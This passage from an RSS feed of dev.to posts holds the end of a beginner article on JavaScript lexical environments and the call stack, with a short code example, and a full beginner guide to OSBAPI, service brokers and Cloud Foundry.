The environment record within this environment contains the variable &lt;code&gt;lambs&lt;/code&gt;, declared using &lt;code&gt;let&lt;/code&gt; inside the &lt;code&gt;if&lt;/code&gt; block. This variable is only accessible within this specific block scope. The block can also access variables from its parent environment, such as &lt;code&gt;sheep&lt;/code&gt; and &lt;code&gt;sheepHouseInArea&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What Happens Behind the Scenes in Memory
&lt;/h2&gt;

&lt;p&gt;After diving deep into lexical environments and environment records, we're now ready to understand how JavaScript manages memory and variable access during code execution.&lt;/p&gt;

&lt;p&gt;When your code runs, JavaScript creates a new lexical environment for each function or block of code. Each environment has its own environment record, storing all the variables and functions defined in that scope. This setup ensures efficient memory usage, as we've discussed.&lt;/p&gt;

&lt;p&gt;Behind the scenes, the JavaScript engine handles these lexical environments in memory. The call stack is used for tracking function calls, while block scopes create new lexical environments linked to their outer environments. However, unlike functions, these block scopes aren't pushed onto the call stack.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the call stack?
&lt;/h3&gt;

&lt;p&gt;The call stack is a fundamental concept in how Javascript executes code.&lt;/p&gt;

&lt;p&gt;The call stack is a data structure that keeps track of function calls in a program. It works on a Last-In-First-Out (LIFO) principle. Here's how it works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When a function is called, it's added (pushed) to the top of the stack.&lt;/li&gt;
&lt;li&gt;When a function finishes executing, it's removed (popped) from the top of the stack.&lt;/li&gt;
&lt;li&gt;The stack also keeps track of the current position in the code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key points about the call stack:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It records where in the program we are.&lt;/li&gt;
&lt;li&gt;If we step into a function, we put it on the top of the stack.&lt;/li&gt;
&lt;li&gt;If we return from a function, we pop it off the stack.&lt;/li&gt;
&lt;li&gt;The stack has a maximum size, and if that limit is exceeded, it results in a "stack overflow" error.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fptq545e6m0kachqhayy9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fptq545e6m0kachqhayy9.png" alt="slackoverflow" width="800" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you know why its called stack overflow haha!&lt;/p&gt;

&lt;p&gt;Here's a simple example to illustrate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;processUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;processUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;main() (global execution context)&lt;/li&gt;
&lt;li&gt;processUser('Alice')&lt;/li&gt;
&lt;li&gt;greet('Alice')&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As each function completes, it's popped off the stack until we return to the global context.&lt;/p&gt;

&lt;h3&gt;
  
  
  The last final question!
&lt;/h3&gt;

&lt;p&gt;In our sheep code example, can you identify if anything is placed on the call stack during execution? Share your thoughts in the comments section!&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;That's it for Part 1! I hope this post has helped you gain a solid understanding of how JavaScript handles lexical environments, environment records, and what happens behind the scenes in memory. I've learned a lot in the process, and I hope you have too. If you have any questions or feedback, I'd love to hear from you - let's learn and improve together!&lt;/p&gt;

&lt;p&gt;I titled this post 'Part 1' because I plan to follow up with 'Part 2,' where I'll dive into three major concepts that are closely linked to lexical environments:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Closures: Think of them as magical boxes that let functions remember and access variables from their outer environment, even after the outer function has finished executing.&lt;/li&gt;
&lt;li&gt;Scope Chains: We'll explore how JavaScript navigates through nested environments to find variables, like a treasure hunt in your code.&lt;/li&gt;
&lt;li&gt;Hoisting: This explains why some variables and functions seem to "float" to the top of their scope, which can be tricky to understand but is crucial for writing predictable code.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These concepts are super important because they directly impact how your JavaScript code behaves. Understanding them will help you write cleaner, more efficient code and avoid some common pitfalls.&lt;/p&gt;

&lt;p&gt;Stay tuned!&lt;/p&gt;

&lt;p&gt;--&lt;br&gt;
Please also follow me on my Medium: &lt;a href="https://medium.com/@ensing89" rel="noopener noreferrer"&gt;https://medium.com/@ensing89&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
    <item>
      <title>A Beginner’s Guide to Streamlining the Cloud: OSBAPI, Service Brokers, Service Providers, and Cloud Foundry</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Mon, 19 Aug 2024 10:14:19 +0000</pubDate>
      <link>https://dev.to/nuri/a-beginners-guide-to-streamlining-the-cloud-osbapi-service-brokers-service-providers-and-cloud-foundry-4n62</link>
      <guid>https://dev.to/nuri/a-beginners-guide-to-streamlining-the-cloud-osbapi-service-brokers-service-providers-and-cloud-foundry-4n62</guid>
      <description>&lt;h1&gt;
  
  
  Diving into OSBAPI, Service Brokers, and Cloud Foundry
&lt;/h1&gt;

&lt;p&gt;Hey there, Dev community! This is my first time writing an article here. I decided to start putting down my thoughts on things that I am learning and why not also share it online so that could help others too. Right now, I’m diving into a SAP Integration course, and along the way, I've stumbled upon terms like Open Service Broker API, service brokers, service providers, and Cloud Foundry. So let's go!&lt;/p&gt;

&lt;p&gt;Okay, picture this: You're building a house that floats in the sky. Crazy, right? Now imagine this house can grow new rooms whenever you need them. That's kinda what it's like for businesses moving to the cloud. They've gotta juggle all sorts of things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apps (think of these as the rooms in our floating house)&lt;/li&gt;
&lt;li&gt;Data (all the important stuff inside those rooms)&lt;/li&gt;
&lt;li&gt;Infrastructure (the bones holding everything together)&lt;/li&gt;
&lt;li&gt;Security (locks and alarms to keep the bad guys out)&lt;/li&gt;
&lt;li&gt;And a ton of other stuff!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Businesses need to be able to change things up quickly without getting stuck in tech quicksand. The cloud lets them do that - it's like having a magic wand for all these techy bits.&lt;/p&gt;

&lt;h2&gt;
  
  
  OSBAPI: The Universal Translator
&lt;/h2&gt;

&lt;p&gt;The Open Service Broker API (OSBAPI) is like a universal language for cloud stuff. It helps different cloud platforms talk to each other and to service providers. Here's why it's cool:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It sets up rules so cloud services can chat without getting their wires crossed.&lt;/li&gt;
&lt;li&gt;It makes hooking up different services way less of a headache.&lt;/li&gt;
&lt;li&gt;You're not stuck with one cloud provider. Mix and match as you please!&lt;/li&gt;
&lt;li&gt;It lets cloud platforms set up marketplaces where you can browse and add services easily.&lt;/li&gt;
&lt;li&gt;It can grow and change as new services pop up.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Service Providers: The Specialists
&lt;/h2&gt;

&lt;p&gt;Think of service providers as the experts in your neighborhood. Need a pool? There's a guy for that. Want a fancy security system? There's another specialist for that. In the cloud world, these providers offer things like databases, messaging systems, or storage solutions.&lt;/p&gt;

&lt;p&gt;Big names like AWS and Google Cloud? Yep, they're service providers too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Service Brokers: Your Cloud Middlemen
&lt;/h2&gt;

&lt;p&gt;Service brokers are like your personal assistants in the cloud. They talk to the service providers for you, using OSBAPI as their language. Need a new database for your app? Just tell your service broker, and they'll handle all the nitty-gritty details.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Does All This Work Together?
&lt;/h2&gt;

&lt;p&gt;Let's say you want to add a database to your app. Here's what goes down:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You say, "Hey, I need a database!"&lt;/li&gt;
&lt;li&gt;Your cloud platform whispers to the service broker using OSBAPI.&lt;/li&gt;
&lt;li&gt;The service broker calls up the database provider and gets everything set up.&lt;/li&gt;
&lt;li&gt;Before you know it, your app has a shiny new database, ready to go!&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Cloud Foundry: Your Cloud Construction Crew
&lt;/h2&gt;

&lt;p&gt;Cloud Foundry is a Platform-as-a-Service (PaaS) that makes life easier when you're working in the cloud. It handles a lot of the technical stuff so you can focus on building your app.&lt;/p&gt;

&lt;p&gt;With Cloud Foundry, you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deploy your app with a single command (no more manual setup nightmare!)&lt;/li&gt;
&lt;li&gt;Use pretty much any programming language you like&lt;/li&gt;
&lt;li&gt;Handle sudden popularity without breaking a sweat (it scales automatically)&lt;/li&gt;
&lt;li&gt;Add services like databases without pulling your hair out&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To conclude: Cloud Foundry operates on top of the infrastructure provided by a service provider. It helps you build, test, and deploy your applications without worrying about the underlying infrastructure. You can use Cloud Foundry across various service providers (such as AWS, Google Cloud, or Azure) or even on your own servers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Should You Care About All This?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;It makes your life easier: Less time fighting with infrastructure, more time building cool stuff.&lt;/li&gt;
&lt;li&gt;It keeps your options open: No getting stuck with one cloud provider.&lt;/li&gt;
&lt;li&gt;It helps you work smarter: Focus on your app, not on juggling cloud services.&lt;/li&gt;
&lt;li&gt;It grows with you: From small projects to the next big thing, these tools have got your back.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Any Downsides?
&lt;/h2&gt;

&lt;p&gt;Let's be real, nothing's perfect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There's a learning curve. But hey, that's true for anything worth doing!&lt;/li&gt;
&lt;li&gt;It might be overkill for super simple projects.&lt;/li&gt;
&lt;li&gt;Some cloud providers have their own similar tools, so you'll need to weigh your options.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So there you have it! These tools we've talked about are like your trusty sidekicks in the cloud world. They're there to make your life easier and help you build cooler stuff. Now go forth and conquer the cloud!&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>cloudcomputing</category>
      <category>osbapi</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
